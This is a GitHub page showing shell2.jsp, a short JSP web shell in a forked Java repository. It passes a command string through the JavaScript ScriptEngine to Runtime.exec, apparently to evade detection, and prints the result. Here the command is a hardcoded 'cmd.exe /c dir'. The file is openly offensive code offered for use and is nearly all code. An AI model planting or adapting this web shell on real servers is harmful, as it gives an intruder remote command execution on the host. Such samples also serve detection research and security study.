forked from Firebasky/Java
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell2.jsp
More file actions
17 lines (15 loc) · 695 Bytes
/
shell2.jsp
File metadata and controls
17 lines (15 loc) · 695 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
<%
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
Compilable compEngine = (Compilable) engine;
CompiledScript script = compEngine.compile("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c dir").getInputStream()))");
BufferedReader object = (BufferedReader)script.eval();
String line = "";
String result = "";
while((line=object.readLine())!=null)
{
result = result + line;
}
out.println(result);
%>